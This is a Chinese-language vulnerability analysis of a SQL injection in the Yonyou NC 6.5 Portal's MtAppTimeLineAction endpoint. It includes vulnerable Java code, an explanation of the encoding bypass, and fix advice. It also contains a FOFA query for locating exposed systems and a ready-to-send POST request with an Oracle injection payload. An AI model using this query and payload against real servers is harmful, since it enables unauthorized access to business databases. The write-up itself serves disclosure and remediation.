用友NC Portal端MtAppTimeLineAction接口存在SQL注入
字数 947 2025-11-21 12:33:20
用友NC Portal端MtAppTimeLineAction接口SQL注入漏洞分析
一、漏洞概述
用友NC系统的Portal端MtAppTimeLineAction接口存在SQL注入安全漏洞,攻击者可通过构造恶意参数未经授权访问数据库,导致敏感数据泄露。
二、影响版本
- 用友NC 6.5版本
三、漏洞定位
3.1 漏洞文件路径
nc/bs/oa/oamt/action/MtAppTimeLineAction.class
3.2 漏洞触发方法
doApply()方法
四、漏洞原理分析
4.1 漏洞代码分析
MtAppTimeLineAction.class中的关键代码:
public void doApply() {
HttpServletRequest request = this.request;
String maEventPk = request.getParameter("meapk");
IMeetingApplyQueryService qs = (IMeetingApplyQueryService)NCLocator.getInstance().lookup(IMeetingApplyQueryService.class);
String whereSQL = "pk_mtappdoc='" + NCESAPI.sqlEncode(maEventPk) + "'";
try {
MeetingApplyEventVO[] maEvents = qs.queryMeetingApplyEvents(whereSQL, (SQLParameter)null);
// ...后续处理代码
} catch (BusinessException var8) {
// 异常处理
}
}
4.2 SQL查询链分析
queryMeetingApplyEvents方法调用链:
// 第一层调用
public MeetingApplyEventVO[] queryMeetingApplyEvents(String sqlWhere, SQLParameter sqlParam) throws BusinessException {
return this.getDAO().queryMeetingApplyEvents(sqlWhere, sqlParam);
}
// 第二层调用(DAO层)
public MeetingApplyEventVO[] queryMeetingApplyEvents(String sqlWhere, SQLParameter sqlParam) throws BusinessException {
StringBuilder sd = new StringBuilder();
sd.append("select a.pk_mtappdoc, a.pk_mtapp, a.subject, a.starttime, a.endtime, a.meetingroom, a.applier, b.name as applier_name, a.APPROVE_STATE, a.approver, a.operator,a.bill_code ");
sd.append("from OAMT_MTAPP a, BD_PSNDOC b where a.applier=b.PK_PSNDOC ");
if (StringUtils.isNotEmpty(sqlWhere)) {
sd.append(" and ").append(sqlWhere); // 漏洞点:直接拼接用户输入
}
MeetingApplyEventVO[] meetingApplyEventVOs = (MeetingApplyEventVO[])this.executeQueryVOs(sd.toString(), MeetingApplyEventVO.class);
return meetingApplyEventVOs;
}
4.3 编码绕过机制分析
NCESAPI.sqlEncode编码逻辑:
public String encode(char[] immune, String input) {
StringBuilder sb = new StringBuilder();
boolean encoding = false;
boolean inquotes = false;
for(int i = 0; i < input.length(); ++i) {
char c = input.charAt(i);
if (!containsCharacter(c, EncoderConstants.CHAR_ALPHANUMERICS) && !containsCharacter(c, immune)) {
// 非字母数字字符处理逻辑
if (inquotes && i < input.length()) {
sb.append("\"");
}
if (i > 0) {
sb.append("&");
}
sb.append(this.encodeCharacter(immune, c));
inquotes = false;
encoding = true;
} else {
// 字母数字字符处理
if (encoding && i > 0) {
sb.append("&");
}
if (!inquotes && i > 0) {
sb.append("\"");
}
sb.append(c);
inquotes = true;
encoding = false;
}
}
return sb.toString();
}
public String encodeCharacter(char[] immune, Character c) {
char ch = c;
if (containsCharacter(ch, immune)) {
return "" + ch;
} else {
String hex = Codec.getHexForNonAlphanumeric(ch);
return hex == null ? "" + ch : "chrw(" + c + ")";
}
}
4.4 编码绕过原理
- 编码规则:字母数字字符原样保留,其他字符转换为
chrw(...)形式 - 绕过原理:数据库会将
chrw(40)解析为(,chrw(61)解析为=,语义保持不变 - 关键点:虽然输入被编码,但SQL语义在数据库层面保持不变,导致注入依然可行
五、漏洞验证
5.1 资产识别
FOFA搜索语法:
app="用友-UFIDA-NC"
5.2 POC验证
POST /portal/pt/mtapptimeline/doApply HTTP/1.1
Host: [目标地址]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
pageId=login&meapk=1' AND 7722=UTL_INADDR.GET_HOST_ADDRESS(CHR(113)||CHR(122)||CHR(106)||CHR(98)||CHR(113)||(SELECT (CASE WHEN (7722=7722) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(120)||CHR(120)||CHR(98)||CHR(113))-- Jvzs
5.3 POC说明
- 使用
CHR()函数绕过编码检测 - 通过布尔盲注技术验证漏洞存在性
- 利用Oracle数据库的
UTL_INADDR.GET_HOST_ADDRESS函数
六、漏洞危害
- 数据泄露:攻击者可获取数据库中的敏感信息
- 权限提升:可能通过SQL注入获取系统更高权限
- 系统控制:在特定条件下可能实现远程代码执行
七、修复建议
7.1 立即措施
- 安装用友官方发布的最新安全补丁
- 对系统进行安全评估和漏洞扫描
7.2 代码修复方案
原问题代码:
String whereSQL = "pk_mtappdoc='" + NCESAPI.sqlEncode(maEventPk) + "'";
修复方案:
// 方案1:使用预编译语句
String sql = "pk_mtappdoc = ?";
SQLParameter param = new SQLParameter();
param.addParam(maEventPk);
// 方案2:使用框架提供的安全查询方法
MeetingApplyEventVO[] maEvents = qs.queryMeetingApplyEventsWithParam(sql, param);
7.3 长期防护措施
- 输入验证:实施严格的白名单输入验证机制
- 参数化查询:全面采用参数化查询替代字符串拼接
- 最小权限原则:数据库连接使用最小必要权限账户
- 安全编码培训:加强开发人员安全编码意识
- 定期安全审计:建立代码安全审计机制
八、技术总结
该漏洞的根本原因在于开发人员过度依赖编码函数提供的安全性,未能正确理解编码与参数化查询的本质区别。编码函数只能防止某些特定类型的攻击,但不能替代参数化查询提供的真正安全防护。